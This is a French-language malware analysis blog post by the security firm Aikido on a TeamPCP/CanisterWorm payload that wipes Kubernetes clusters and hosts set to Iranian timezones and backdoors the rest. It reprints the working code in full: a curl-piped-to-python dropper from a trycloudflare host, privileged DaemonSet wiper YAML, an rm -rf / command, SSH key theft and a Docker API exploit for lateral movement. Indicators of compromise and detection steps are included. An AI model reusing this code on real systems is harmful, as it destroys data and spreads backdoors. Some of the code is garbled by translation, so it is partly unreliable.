Aikido

CanisterWorm passe à la vitesse supérieure : le programme de suppression Kubernetes de TeamPCP vise l'Iran

Écrit par
Charlie Eriksen

Nous avons découvert une nouvelle charge utile dans l'arsenal de TeamPCP, et celle-ci ne se contente pas de voler des identifiants ou d'installer des portes dérobées. Elle efface des clusters Kubernetes entiers.

Le script utilise exactement le même conteneur ICP (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io) que nous avons décrits dans le Campagne CanisterWorm. Même C2, même code de porte dérobée, même /tmp/pglog chemin de dépôt. Le déplacement latéral natif de Kubernetes via DaemonSets correspond au mode opératoire habituel de TeamPCP, mais cette variante présente un élément inédit : une charge utile destructrice à visée géopolitique, ciblant spécifiquement les systèmes iraniens.

Aperçu général

Comme cet article de blog contient de nombreux détails techniques, voici un résumé des principales conclusions que nous avons tirées :

  • 🐙 Le même boîtier ICP C2 que celui de CanisterWorm (tdtqy-oyaaa-aaaae-af2dq-cai)
  • 🎯 La charge utile vérifie le fuseau horaire et les paramètres régionaux pour identifier les systèmes iraniens
  • ☸️ Sur Kubernetes : déploie des DaemonSets privilégiés sur chaque nœud, y compris le plan de contrôle
    • 💀 Les nœuds iraniens sont effacés et redémarrés de force via un conteneur nommé kamikaze
    • 🔒 Sur les nœuds non iraniens, la porte dérobée CanisterWorm est installée en tant que service systemd
  • 💣 Les hébergeurs iraniens non K8s obtiennent rm -rf / --no-preserve-root
  • 🐘 La persistance déguisée en outils PostgreSQL : pglog, pg_state, moniteur interne
  • 🔄 On a constaté que plusieurs domaines Cloudflare étaient utilisés en rotation comme infrastructure de diffusion de données
  • 🪱 La dernière variante permet désormais des déplacements latéraux via le réseau
    • 🔑 Propagation du SSH via des clés volées et l'analyse des journaux d'authentification
    • 🐳 Exploite les API Docker exposées sur le port 2375 au sein du sous-réseau local

Le décorateur

Au début, nous avons remarqué qu'il indiquait simplement https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , qui contenait une charge utile unique. Par la suite, il a divisé cette charge utile en deux fichiers, comme on peut le voir ci-dessous.

#!/usr/bin/env bash
set -euo pipefail

if ! command -v kubectl &>/dev/null; then
    ARCH="amd64"
    [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
    curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
    chmod +x /tmp/kubectl
    export PATH="/tmp:$PATH"
fi

PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -

rm -- "$0"

Comme vous pouvez le voir, le téléchargement est en cours kubectl s'il n'est pas déjà installé. Ensuite, il télécharge kube.py provenant du même hôte, et l'exécute avant de s'effacer. C'est là que se trouve le code vraiment intéressant. Voici les dernières lignes du script, qui exposent clairement l'objectif du code, que nous allons analyser plus en détail :

if __name__ == "__main__":    if is_k8s():        if is_iran():
           deploy_destructive_ds()        else:
           deploy_std_ds()    else:        if is_iran():
           poison_pill()
        sys.exit(1)

Comment il choisit sa cible

La première chose que fait la charge utile, c'est de déterminer où elle s'exécute. Deux vérifications :

def is_k8s():
    return os.path.exists("/var/run/secrets/kubernetes.io/serviceaccount") or \
           "KUBERNETES_SERVICE_HOST" dans os.environ

Détection standard des pods Kubernetes. Un compte de service est associé par défaut à chaque pod.

Et puis ceci :

def is_iran():
   tz = ""
     if os.path.exists("/etc/timezone"):        with open("/etc/timezone", "r") as f:
           tz = f.read().strip()    else:
        try:
           tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"], 
                                        stderr=subprocess.DEVNULL).decode().strip()
        except:
           pass 
    
    lang = os.environ.get("LANG", "")    return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in lang

Il vérifie le fuseau horaire et les paramètres régionaux du système. Si la machine est configurée pour l'Iran (Asie/Téhéran, Iran, ou fa_IR), la charge utile emprunte un chemin très différent.

Quatre chemins, un seul scénario

L'arbre de décision est simple et impitoyable :

  • Kubernetes + Iran: Déployer un DaemonSet qui efface tous les nœuds du cluster
  • Kubernetes et autres environnements: déployer un DaemonSet qui installe la porte dérobée CanisterWorm sur chaque nœud
  • Pas de Kubernetes + Iran: rm -rf / --no-preserve-root
  • Pas de Kubernetes + autre chose: sortie. Il ne se passe rien.

L'essuie-glace : « kamikaze »

Le DaemonSet destiné à l'Iran s'appelle fournisseur d'hébergement - Iran. Le conteneur qu'il contient s'appelle kamikaze. On ne peut pas dire que ce soit très subtil.

def deploy_destructive_ds():
    ds_name = "host-provisioner-iran"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: kamikaze
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
            chroot /mnt/host reboot -f
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

Le DaemonSet monte le système de fichiers racine de l'hôte sur /mnt/host, supprime tout ce qui se trouve au niveau supérieur, puis force le redémarrage. Comme il s'agit d'un DaemonSet avec tolérances : [opérateur : Exists], elle est planifiée sur chaque nœud du cluster, y compris le plan de contrôle. Un kubectl apply et tout le cluster est hors service.

Le chemin de persistance

Pour les cibles non iraniennes, le DaemonSet (host-provisioner-std) est moins spectaculaire mais plus utile sur le plan opérationnel. Elle installe la porte dérobée CanisterWorm sur chaque nœud et l'enregistre en tant que service systemd :

def deploy_std_ds():
    ds_name = "host-provisioner-std"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: provisioner
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
            echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
            cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
            [Unit]
            Description=System Monitor
            After=network.target

            [Service]
            ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
            Restart=always
            RestartSec=5

            [Install]
            WantedBy=multi-user.target
            EOF_UNIT
            chroot /mnt/host systemctl daemon-reload
            chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
            sleep infinity
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

La porte dérobée est la même que celle que nous avons décrite dans l'article consacré à CanisterWorm. Elle interroge le conteneur ICP toutes les 50 minutes à la recherche d'une URL binaire, télécharge et exécute tout ce qu'on lui demande. Le youtube[.]com Le dispositif d'arrêt d'urgence est toujours présent.

La « pilule empoisonnée »

Pour les systèmes iraniens qui n'utilisent pas Kubernetes, l'approche est plus rudimentaire :

def poison_pill():
    cmd = "rm -rf / --no-preserve-root"
    if os.getuid() == 0:
        os.system(cmd)
    else:
        os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")

S'il s'agit de l'utilisateur root, il efface le système. Sinon, il tente d'utiliser sudo sans mot de passe, puis essaie quand même. Même sans les droits root, il détruira tout ce qui appartient à l'utilisateur.

Pourquoi cela est important

TeamPCP est identifié depuis fin 2025 comme un acteur malveillant cloud, ciblant les API Docker mal configurées, les clusters Kubernetes et les pipelines CI/CD. Leur mode opératoire (identification de l'environnement, branchement spécifique à Kubernetes) est resté constant. Mais la Trivy et la campagne CanisterWorm ont montré qu'ils pouvaient opérer à l'échelle de la chaîne d'approvisionnement, et cette charge utile démontre qu'ils sont prêts à se montrer destructeurs quand ils le souhaitent.

Ce qu'il faut rechercher

Vérifiez la présence de DaemonSets dans kube-system que vous n'avez pas créé :

kubectl get ds -n kube-system

Rechercher fournisseur d'hébergement - Iran ou host-provisioner-std. Vérifiez également tout DaemonSet qui monte hostPath : / dans un contexte de sécurité privilégié. Cette combinaison ne devrait jamais apparaître en dehors des agents au niveau de l'infrastructure, tels que le kubelet lui-même.

Du côté de l'hôte, vérifiez les éléments suivants :

  • Un service systemd nommé moniteur interne (systemctl status internal-monitor)
  • Fichiers à l'adresse /var/lib/svc_internal/runner.py
  • Processus nommés pglog dans /tmp/
  • Connexions sortantes vers icp0[.]io domaines

Mise à jour : ça se propage maintenant

Une troisième version de la charge utile vient d'apparaître, hébergée sur https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py Même porte dérobée ICP, même programme de destruction iranien, mais celui-ci n'a pas besoin de Kubernetes. Il se propage tout seul.

Les versions précédentes utilisaient des DaemonSets pour se déplacer au sein d'un cluster. Cette variante abandonne complètement cette approche et la remplace par deux méthodes de déplacement latéral : le vol de clés SSH et l'exploitation d'API Docker exposées. Elle analyse également le sous-réseau local /24 à la recherche de nouvelles cibles.

Voici comment il repère les machines à attaquer :

def get_accepted_targets():
    targets = {}
    for path in ["/var/log/auth.log", "/var/log/secure"]:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    for line in f:
                        if "Accepted" in line:
                            match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
                            if match:
                                user, ip = match.groups()
                                if ip not in targets: targets[ip] = []
                                if user not in targets[ip]: targets[ip].append(user)
            except: pass
    return targets

Il analyse /var/log/auth.log et /var/log/secure pour les connexions SSH réussies, en extrayant à la fois le nom d'utilisateur et l'adresse IP source. Ceux-ci deviennent des paires ciblées pour la propagation. Pour toute adresse IP détectée sur le sous-réseau qui ne figurait pas dans les journaux d'authentification, le programme revient alors à essayer root, ubuntu, administrateur, et ec2-user.

Il récupère ensuite toutes les clés privées SSH qu'il trouve :

keys = []
ssh_base = os.path.expanduser("~/.ssh")    for t in ["id_rsa", "id_ed25519", "id_ecdsa"]:
       p = os.path.join(ssh_base, t)
                if os.path.exists(p):
            keys.append(p)

Pour chaque cible, il vérifie deux ports. Le port 22 est utilisé pour la propagation SSH :

cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", « PasswordAuthentication=no »,
       "-o", « ConnectTimeout=5 », « -i », k, f"{user}@{ip}",
       f"echo {b64_logic} | base64 -d | bash"]

Le port 2375 est affecté par la faille de l'API Docker, ce qui permet de créer un conteneur privilégié avec le répertoire racine de l'hôte monté :

payload = {
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
    "HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})

Les deux méthodes aboutissent au même résultat get_remote_logic() charge utile, qui effectue la vérification du fuseau horaire iranien sur l'hôte distant. Les cibles iraniennes sont effacées, tous les autres reçoivent le pgmon.py porte dérobée installée en tant que service systemd.

C'est l'essuie-glace lui-même qui a changé. Les versions précédentes utilisaient rm -rf / --no-preserve-root sur les hôtes non-K8s, tandis que la variante DaemonSet utilisée find / -maxdepth 1 ... -exec rm -rf {} + avec un redémarrage forcé. Cette version s'aligne sur le trouver aborder avec redémarrer -f dans tous les domaines :

find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -f

Cela vient tout droit d'un précédent article de TeamPCP proxy.sh et pcpcat.py des outils qui recherchaient les API Docker exposées et diffusaient des clés SSH à travers les sous-réseaux. La différence réside dans le fait que ces outils étaient des scripts autonomes destinés à la mise en place d'infrastructures. Celui-ci, quant à lui, intègre la porte dérobée CanisterWorm et le programme de destruction « Iran wiper ».

Quelques autres changements par rapport aux versions précédentes : le nom du service a été déplacé de moniteur interne à pgmonitor, le chemin d'installation a été déplacé de /var/lib/svc_internal/ à /var/lib/pgmon/, et la description dans systemd est désormais « Postgres Monitor Service ». Le camouflage de PostgreSQL gagne en cohérence.

Indicateurs de compromission

Réseau

  • tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io (Boîtier ICP C2 à dépôt secret)
  • https://souls-entire-defined-routes.trycloudflare[.]com/ (livraison de la charge utile, en premier)
  • https://investigation-launches-hearings-copying.trycloudflare[.]com/ (livraison de la charge utile, seconde)
  • https://championships-peoples-point-cassette.trycloudflare[.]com (livraison de la charge utile, troisième)

Kubernetes

  • DaemonSet fournisseur d'hébergement - Iran dans kube-system
  • DaemonSet host-provisioner-std dans kube-system
  • Noms des conteneurs : kamikaze, responsable de l'approvisionnement

Host

  • /var/lib/svc_internal/runner.py
  • /etc/systemd/system/internal-monitor.service
  • /tmp/pglog
  • /tmp/.pg_state
  • /var/lib/pgmon/pgmon.py
  • /etc/systemd/system/pgmonitor.service
  • Service Systemd : pgmonitor (Description : « Service de surveillance Postgres »)
  • Service Systemd : moniteur interne

Indicateurs de mouvement latéral

  • Connexions SSH sortantes avec StrictHostKeyChecking=no provenant d'ordinateurs compromis
  • Connexions sortantes vers le port 2375 (API Docker) au sein du sous-réseau local
  • Conteneurs Alpine privilégiés créés via l'API Docker sans authentification avec hostPath : / montage par encadrement

... L'affaire est en cours. Restez à l'écoute pour les dernières nouvelles.

Partager :

https://www.aikido.dev/blog/teampcp-stage-payload-canisterworm-iran

Abonnez-vous pour les actualités sur les menaces.

Démarrez gratuitement dès aujourd'hui.

Commencer gratuitement
Sans carte bancaire
4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.